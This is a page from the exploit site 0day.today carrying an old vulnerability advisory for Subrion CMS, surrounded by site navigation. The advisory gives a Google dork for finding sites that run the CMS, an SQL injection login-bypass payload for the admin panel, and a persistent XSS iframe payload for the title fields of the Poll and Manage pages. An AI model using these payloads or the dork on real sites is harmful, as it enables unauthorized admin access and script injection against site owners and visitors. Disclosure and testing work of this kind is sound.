0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SUBRION CMS Multiple Vulnerabilities
[1.SUBRION CMS multiple vulnerabilties
vendor: www.subrion.com
Author: Karthik R (3psil0nLambDa)
Email: Karthik.cupid@gmail.com
My blog: epsilonlambda.co.cc
Google dork: © 2011 Powered by Subrion CMS
------------------------------------------------------------------------------------------------------------------------------------------------------------
Description about the CMS
Subrion CMS unites the functionality of articles script, auto classifieds script, realty classifieds script, and web directory script all in one package. Subrion's highly scalable set of key features makes it a powerful
platform for web sites.
Subrion CMS is easy to install and simple to manage. Use it as a stand-alone application or in conjunction with other applications to create entry level sites, mid-sized or large sites. You can be confident that you will be able to invest in this system and continue to grow it to any possible level.
------------------------------------------------------------------------------------------------------------------------------------------------------------
* SQLi Vulnerability
The attackers can use the authentication bypass to get in to the admin panel in the site.
Exploit: Username: ' or 0=0 #
Password: ' or 0=0 #
* Persistent XSS vulnerability
The Poll module,Manage pages are vulnerable to persistent XSS in the title field.
Exploit: "><IFRAME SRC="javascript:alert('XSS');"></IFRAME>
* Products like: Auto Classifieds, Articles Script, Auto Classifieds, Real estate script, Web directory run on the same CMS, and hence are vulnerable too.
------------------------------------------------------------------------------------------------------------------------------------------------------------
Thanks to side-effects for his valuable guidance and greets to taashu for her love and support.
# 0day.today [2024-12-25] #